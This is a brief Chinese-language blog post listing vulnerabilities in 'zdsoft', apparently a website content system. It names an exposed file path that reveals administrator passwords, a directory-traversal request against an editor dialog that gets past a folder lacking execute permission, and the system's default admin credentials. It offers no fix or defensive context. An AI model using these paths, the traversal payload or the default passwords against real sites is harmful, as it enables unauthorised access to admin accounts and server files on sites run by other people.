zdsoft 漏洞

/images/database/admin.xml
可以看到管理用户账户密码
editor/dialog/selectPageBg.aspx?position=&directory=..
变量directory是路径，..表示跟目录，绕过Image目录无执行权限
后台默认密码：zdsoft 123  zdsoft admin
标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
添加新评论